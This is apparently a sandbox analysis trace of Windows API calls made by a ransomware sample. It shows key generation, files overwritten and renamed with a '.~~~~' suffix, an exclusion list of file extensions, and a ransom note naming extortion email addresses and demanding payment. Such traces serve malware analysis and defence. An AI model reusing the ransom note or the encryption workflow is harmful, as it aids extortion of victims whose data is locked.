	[0061.751] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362ef0 | out: pbBuffer=0x362ef0) returned 1
	[0061.751] CryptReleaseContext (hProv=0x363d38, dwFlags=0x0) returned 1
	[0061.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362ef0 | out: hHeap=0x300000) returned 1
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39dbf0
	[0061.751] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18174104752) returned 1
	[0061.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9207b250, dwHighDateTime=0x1d60e1e)) 
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c848
	[0061.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0061.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c848 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1008) returned 0x39ee08
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x18) returned 0x362360
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ee08 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1a) returned 0x362ef0
	[0061.757] RtlInterlockedPushEntrySList (in: ListHead=0x479ab0, ListEntry=0x362ef0 | out: ListHead=0x479ab0, ListEntry=0x362ef0) returned 0x0
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1008) returned 0x39ee08
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x28) returned 0x35c0c0
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ee08 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x2c) returned 0x35c848
	[0061.757] RtlInterlockedPushEntrySList (in: ListHead=0x479ab0, ListEntry=0x35c848 | out: ListHead=0x479ab0, ListEntry=0x35c848) returned 0x362ef0
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c0c0 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39d9d8
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39da80
	[0061.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d9d8 | out: hHeap=0x300000) returned 1
	[0061.757] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0061.884] GetLastError () returned 0x0
	[0061.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x28) returned 0x35c180
	[0061.885] SetLastError (dwErrCode=0x0) 
	[0061.885] GetLastError () returned 0x0
	[0061.885] SetLastError (dwErrCode=0x0) 
	[0061.885] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0061.885] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.886] SetLastError (dwErrCode=0x0) 
	[0061.886] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.887] SetLastError (dwErrCode=0x0) 
	[0061.887] GetLastError () returned 0x0
	[0061.888] SetLastError (dwErrCode=0x0) 
	[0061.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39da80 | out: hHeap=0x300000) returned 1
	[0061.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3a0e18
	[0061.888] ReadFile (in: hFile=0x114, lpBuffer=0x3a0e18, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3a0e18*, lpNumberOfBytesRead=0x1f8fec0*=0x81, lpOverlapped=0x0) returned 1
	[0061.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0061.948] WriteFile (in: hFile=0x114, lpBuffer=0x3a0e18*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3a0e18*, lpNumberOfBytesWritten=0x1f8fec0*=0x81, lpOverlapped=0x0) returned 1
	[0061.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0e18 | out: hHeap=0x300000) returned 1
	[0061.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0061.949] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0061.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0061.949] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0061.949] CloseHandle (hObject=0x114) returned 1
	[0061.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39da68
	[0061.973] MoveFileW (lpExistingFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), lpNewFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.~~~~" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.~~~~")) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39da68 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0062.028] GetLastError () returned 0x0
	[0062.028] SetLastError (dwErrCode=0x0) 
	[0062.028] GetLastError () returned 0x0
	[0062.028] SetLastError (dwErrCode=0x0) 
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dbf0 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d8a0 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7f8 | out: hHeap=0x300000) returned 1
	[0062.028] RtlWakeConditionVariable () returned 0x365f70
	[0062.028] GetCurrentThreadId () returned 0xaf0
	[0062.028] GetCurrentThreadId () returned 0xaf0
	[0062.028] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.074] GetCurrentThreadId () returned 0xaf0
	[0062.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0062.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.074] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\Read~ME.txt" (normalized: "c:\\boot\\es-es\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.074] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.074] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.075] CloseHandle (hObject=0x110) returned 1
	[0062.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0062.076] RtlWakeConditionVariable () returned 0x365f70
	[0062.076] GetCurrentThreadId () returned 0xaf0
	[0062.076] GetCurrentThreadId () returned 0xaf0
	[0062.076] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.216] GetCurrentThreadId () returned 0xaf0
	[0062.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.216] lstrlenW (lpString=".scr") returned 4
	[0062.216] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".scr") returned 0x0
	[0062.216] lstrlenW (lpString=".cmd") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".cmd") returned 0x0
	[0062.217] lstrlenW (lpString=".dll") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".dll") returned 0x0
	[0062.217] lstrlenW (lpString=".bat") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".bat") returned 0x0
	[0062.217] lstrlenW (lpString=".cpl") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".cpl") returned 0x0
	[0062.217] lstrlenW (lpString=".sys") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".sys") returned 0x0
	[0062.217] lstrlenW (lpString=".msc") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".msc") returned 0x0
	[0062.217] lstrlenW (lpString=".com") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".com") returned 0x0
	[0062.217] lstrlenW (lpString=".lnk") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".lnk") returned 0x0
	[0062.217] lstrlenW (lpString=".msp") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".msp") returned 0x0
	[0062.217] lstrlenW (lpString=".pif") returned 4
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch=".pif") returned 0x0
	[0062.217] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.217] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf", lpSrch="msp\r\n.pif") returned 0x0
	[0062.217] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.218] RtlWakeConditionVariable () returned 0x365f70
	[0062.218] GetCurrentThreadId () returned 0xaf0
	[0062.218] GetCurrentThreadId () returned 0xaf0
	[0062.218] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.242] GetCurrentThreadId () returned 0xaf0
	[0062.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.242] lstrlenW (lpString=".scr") returned 4
	[0062.242] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".scr") returned 0x0
	[0062.242] lstrlenW (lpString=".cmd") returned 4
	[0062.242] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".cmd") returned 0x0
	[0062.242] lstrlenW (lpString=".dll") returned 4
	[0062.242] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".dll") returned 0x0
	[0062.242] lstrlenW (lpString=".bat") returned 4
	[0062.242] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".bat") returned 0x0
	[0062.242] lstrlenW (lpString=".cpl") returned 4
	[0062.242] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".cpl") returned 0x0
	[0062.242] lstrlenW (lpString=".sys") returned 4
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".sys") returned 0x0
	[0062.243] lstrlenW (lpString=".msc") returned 4
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".msc") returned 0x0
	[0062.243] lstrlenW (lpString=".com") returned 4
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".com") returned 0x0
	[0062.243] lstrlenW (lpString=".lnk") returned 4
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".lnk") returned 0x0
	[0062.243] lstrlenW (lpString=".msp") returned 4
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".msp") returned 0x0
	[0062.243] lstrlenW (lpString=".pif") returned 4
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch=".pif") returned 0x0
	[0062.243] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.243] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf", lpSrch="msp\r\n.pif") returned 0x0
	[0062.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.243] RtlWakeConditionVariable () returned 0x365f70
	[0062.243] GetCurrentThreadId () returned 0xaf0
	[0062.243] GetCurrentThreadId () returned 0xaf0
	[0062.243] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.265] GetCurrentThreadId () returned 0xaf0
	[0062.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.266] lstrlenW (lpString=".scr") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.266] lstrlenW (lpString=".cmd") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.266] lstrlenW (lpString=".dll") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.266] lstrlenW (lpString=".bat") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.266] lstrlenW (lpString=".cpl") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.266] lstrlenW (lpString=".sys") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.266] lstrlenW (lpString=".msc") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.266] lstrlenW (lpString=".com") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.266] lstrlenW (lpString=".lnk") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.266] lstrlenW (lpString=".msp") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.266] lstrlenW (lpString=".pif") returned 4
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.266] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.266] StrStrW (lpFirst="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.267] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.267] RtlWakeConditionVariable () returned 0x365f70
	[0062.267] GetCurrentThreadId () returned 0xaf0
	[0062.267] GetCurrentThreadId () returned 0xaf0
	[0062.267] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.288] GetCurrentThreadId () returned 0xaf0
	[0062.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.288] lstrlenW (lpString=".scr") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.288] lstrlenW (lpString=".cmd") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.288] lstrlenW (lpString=".dll") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.288] lstrlenW (lpString=".bat") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.288] lstrlenW (lpString=".cpl") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.288] lstrlenW (lpString=".sys") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.288] lstrlenW (lpString=".msc") returned 4
	[0062.288] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.288] lstrlenW (lpString=".com") returned 4
	[0062.289] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.289] lstrlenW (lpString=".lnk") returned 4
	[0062.289] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.289] lstrlenW (lpString=".msp") returned 4
	[0062.289] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.289] lstrlenW (lpString=".pif") returned 4
	[0062.289] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.289] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.289] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.289] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.289] RtlWakeConditionVariable () returned 0x365f70
	[0062.289] GetCurrentThreadId () returned 0xaf0
	[0062.289] GetCurrentThreadId () returned 0xaf0
	[0062.289] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.302] GetCurrentThreadId () returned 0xaf0
	[0062.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0062.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0062.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0062.302] lstrlenW (lpString=".scr") returned 4
	[0062.302] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".scr") returned 0x0
	[0062.302] lstrlenW (lpString=".cmd") returned 4
	[0062.302] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".cmd") returned 0x0
